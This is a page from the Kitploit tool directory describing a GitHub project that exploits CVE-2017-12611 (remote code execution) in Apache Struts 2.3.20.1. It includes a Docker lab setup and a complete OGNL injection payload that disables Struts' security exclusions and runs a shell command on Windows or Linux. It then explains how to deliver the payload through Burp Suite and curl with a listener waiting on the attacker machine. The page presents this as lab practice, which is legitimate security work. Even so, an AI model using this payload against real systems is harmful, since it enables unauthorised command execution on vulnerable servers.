Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-12611_Exploit — RCE project | Kitploit
Tools/GitHubGitHub/zeynepsilao/cve-2017-12611_exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubzeynepsilao/cve-2017-12611_exploit

CVE-2017-12611_Exploit

RCE project

View Repository
10 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-12611 Project

Overview:

A RCE attack is possible with the given payload.

Environment & Tools

The following lists the environments and tools for testing and validation in an isolated, personal lab.

  • Host OS: Ubuntu 18.04.6
  • Attacker OS: Kali Linux
  • Container Platform: Docker
  • Target Application Stack: Apache Struts 2.3.20.1
  • Additional Components: Burp Suite

Environment Setup:

By using following command:

root@kitploit:~
docker compose up -d 

You can run the environment. After that you can see a submission page by visiting http://<YOUR_IP>:8080/hello.action.

Payload:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

In order to execute an RCE attack it is necessary to use Burp Suite. While using Burp Suite, submit the payload. After submitting the payload find the correct log(POST) and convert it to a curl command. Finally, open your attacker machine and listen on the port after sending your curl command from the listenner port.

Notes:

Censored areas are IP addresses.

Download Tool